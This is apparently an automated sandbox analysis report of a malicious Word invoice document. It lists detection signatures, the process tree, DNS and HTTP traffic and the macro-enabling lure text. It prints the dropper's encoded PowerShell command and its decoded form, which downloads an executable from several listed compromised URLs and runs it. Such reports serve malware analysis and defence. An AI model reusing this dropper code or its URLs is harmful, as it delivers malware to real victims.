Edit tour

Windows Analysis Report
INV_PO_12172019EX.doc

Overview

General Information

Sample Name:	INV_PO_12172019EX.doc
Analysis ID:	800690
MD5:	3b7fa78ebf399bb0230590bfec589fa7
SHA1:	199d4646fdbf9b5167d80ed71ce0ea406c40b018
SHA256:	5c2dc72128d235ecdca49e4026ec782cdce9021c5b46ebf841000bab5ebcc129
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Encrypted powershell cmdline option found

Very long command line found

Creates processes via WMI

Suspicious powershell command line found

Machine Learning detection for sample

Potential dropper URLs found in powershell memory

Queries the volume information (name, serial number etc) of a device

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Document contains an embedded VBA macro which executes code when the document is opened / closed

Potential document exploit detected (performs DNS queries)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Contains long sleeps (>= 3 min)

Enables debug privileges

Document contains an ObjectPool stream indicating possible embedded files or OLE objects

Potential document exploit detected (unknown TCP traffic)

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 1568 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

powershell.exe (PID: 2412 cmdline: Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA MD5: 852D67A27E454BD389FA7F02A8CBE23F)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: INV_PO_12172019EX.doc	ReversingLabs: Detection: 29%
Source: INV_PO_12172019EX.doc	Virustotal: Detection: 70%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: INV_PO_12172019EX.doc

Avira: detected

Antivirus detection for URL or domain

Source: https://diagnostica-products.com/wp-admin/hio2u7w/PE	Avira URL Cloud: Label: malware
Source: https://diagnostica-products.com/wp-admin/hio2u7w/	Avira URL Cloud: Label: malware
Source: http://amstaffrecords.com/individualApi/0/	Avira URL Cloud: Label: malware
Source: http://amstaffrecords.com/indivi	Avira URL Cloud: Label: phishing
Source: http://amstaffrecords.com	Avira URL Cloud: Label: phishing
Source: http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/	Avira URL Cloud: Label: malware
Source: http://dev2.ektonendon.gr	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: dev2.ektonendon.gr	Virustotal: Detection: 7%			Perma Link
Source: amstaffrecords.com	Virustotal: Detection: 8%			Perma Link

Machine Learning detection for sample

Source: INV_PO_12172019EX.doc

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: tomation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbAlbu source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbgement.Automation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdb56a source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.pdbIL source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbstem.M source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.pdb1. source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: emti.pdb source: powershell.exe, 00000005.00000002.941139445.000000001B3A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\System.pdbpdbtem.pdbll source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8ystem.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbmmon source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb Fil source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.929675315.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: global traffic	DNS query: name: amstaffrecords.com
Source: global traffic	DNS query: name: foozoop.com
Source: global traffic	DNS query: name: 7arasport.com
Source: global traffic	DNS query: name: ww38.7arasport.com
Source: global traffic	DNS query: name: dev2.ektonendon.gr
Source: global traffic	DNS query: name: diagnostica-products.com

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 103.224.212.222:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 103.224.212.222:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 103.224.212.222:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 103.224.212.222:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 103.224.212.222:80 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80
Source: global traffic	TCP traffic: 13.248.148.254:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80
Source: global traffic	TCP traffic: 13.248.148.254:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 13.248.148.254:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 162.212.129.161:80
Source: global traffic	TCP traffic: 13.248.148.254:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80
Source: global traffic	TCP traffic: 162.212.129.161:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 162.212.129.161:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 162.212.129.161:80
Source: global traffic	TCP traffic: 162.212.129.161:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 162.212.129.161:80 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 162.212.129.161:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 103.224.212.222:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 13.248.148.254:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 162.212.129.161:80

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://amstaffrecords.com/individualApi/0/http://foozoop.com/wp-content/Qxi7iVD/http://7arasport.com/validatefield/gj/*http://
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://amstaffrecords.com/individualApi/0/http://foozoop.com/wp-content/Qxi7iVD/http://7arasport.com/validatefield/gj/http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/https://diagnostica-products.com/wp-admin/hio2u7w/
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://amstaffrecords.com/individualApi/0/http://foozoop.com/wp-content/Qxi7iVD/http://7arasport.com/validatefield/gj/http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/https://diagnostica-products.com/wp-admin/hio2u7w/PE
Source: powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	String found in memory: $Npzfrnzbrtium='Vffuwyhyigiyq';$Esxtydjpk = '873';$Ylnjqsscmpm='Wylqaidkqa';$Imxfrxtapo=$env:userprofile+'\'+$Esxtydjpk+'.exe';$Rryipjfhd='Ytidncigle';$Uwudrmogjlosm=&('new-'+'objec'+'t') neT.WEBcLIeNT;$Gpckyscyaendz='http://amstaffrecords.com/individualApi/0/http://foozoop.com/wp-content/Qxi7iVD/http://7arasport.com/validatefield/gj/http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/https://diagnostica-products.com/wp-admin/hio2u7w/'."s`PLit"('*');$Ixiqogfikm='Bttxghvinomws';foreach($Mbcnzgspat in $Gpckyscyaendz){try{$Uwudrmogjlosm."DOW`NLO`AD`FIlE"($Mbcnzgspat, $Imxfrxtapo);$Hhtobffplgs='Xaympicu';If ((.('G'+'et-'+'Item') $Imxfrxtapo)."l`EnG`TH" -ge 27169) {[Diagnostics.Process]::"sT`ARt"($Imxfrxtapo);$Eidytkly='Ybqxcuvdiqn';break;$Lmqahjcwywtk='Gwauuhlz'}}catch{}}$Onogqbumo='Ldkeogsafxnj'

Source: global traffic	HTTP traffic detected: GET /validatefield/gj/ HTTP/1.1Host: 7arasport.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /validatefield/gj/ HTTP/1.1Host: ww38.7arasport.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-bin/mTTCFmVe/ HTTP/1.1Host: dev2.ektonendon.grConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 13.248.148.254 13.248.148.254
Source: Joe Sandbox View	IP Address: 13.248.148.254 13.248.148.254

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 07 Feb 2023 17:14:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 07 Feb 2023 17:14:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Feb 2023 17:14:15 GMTServer: ApacheStrict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Length: 315Keep-Alive: timeout=3, max=500Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://7arasport.com
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://7arasport.com/validatefield/gj/
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://amstaffrecords.com
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://amstaffrecords.com/indivi
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.941139445.000000001B40F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://amstaffrecords.com/individualApi/0/
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dev2.ektonendon.gr
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foozoop.com
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foozoop.com/wp
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foozoop.com/wp-content/Qxi7iVD/
Source: powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ja.com/he
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ww38.7arasport.com
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ww38.7arasport.com/validatefield/gj/
Source: powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929114441.000000000024F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.929114441.000000000027E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929114441.000000000024F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 00000005.00000002.929695204.00000000037C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://diagnostica-products.com
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.929695204.0000000002D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://diagnostica-products.com/wp-admin/hio2u7w/
Source: powershell.exe, 00000005.00000002.929695204.000000000368E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://diagnostica-products.com/wp-admin/hio2u7w/PE

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{98B5056E-1AC7-42C9-BDDC-599C5AB91B4A}.tmp

Jump to behavior

Source: unknown

DNS traffic detected: queries for: amstaffrecords.com

Source: global traffic	HTTP traffic detected: GET /validatefield/gj/ HTTP/1.1Host: 7arasport.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /validatefield/gj/ HTTP/1.1Host: ww38.7arasport.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-bin/mTTCFmVe/ HTTP/1.1Host: dev2.ektonendon.grConnection: Keep-Alive

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above. Once you have enabled editing, please click Enable
Source: Screenshot number: 4	Screenshot OCR: Enable content button from the yellow bar above. 0 Page: I of I , Words:O N@m 13 ;a 10096 G)
Source: Screenshot number: 8	Screenshot OCR: Enable content button from the yellow bar above O "g'"o' ' i WO""O i i '3 75% G) A GE) :a @
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above. Once you have enabled editing, please click Enable
Source: Document image extraction number: 0	Screenshot OCR: Enable content button from the yellow bar above.
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above. Once you have enabled editing, please click Enable
Source: Document image extraction number: 1	Screenshot OCR: Enable content button from the yellow bar above.

Very long command line found

Source: unknown

Process created: Commandline size = 2153

Source: INV_PO_12172019EX.doc	OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation	OLE, VBA macro: Module Vidpgeil, Function Document_open	Name: Document_open
Source: ~DF413F6883B338D566.TMP.0.dr	OLE, VBA macro line: Private Sub Document_open()

Source: ~DFAAA31D5F4A1B1B2F.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DFD6589A193BC4C172.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{4D8C8B4D-2408-4479-B193-86C1187A3D7D}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~DF413F6883B338D566.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: INV_PO_12172019EX.doc

OLE indicator, ObjectPool: true

Source: INV_PO_12172019EX.doc	OLE indicator, VBA macros: true
Source: ~DF413F6883B338D566.TMP.0.dr	OLE indicator, VBA macros: true

Source: INV_PO_12172019EX.doc	ReversingLabs: Detection: 29%
Source: INV_PO_12172019EX.doc	Virustotal: Detection: 70%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtA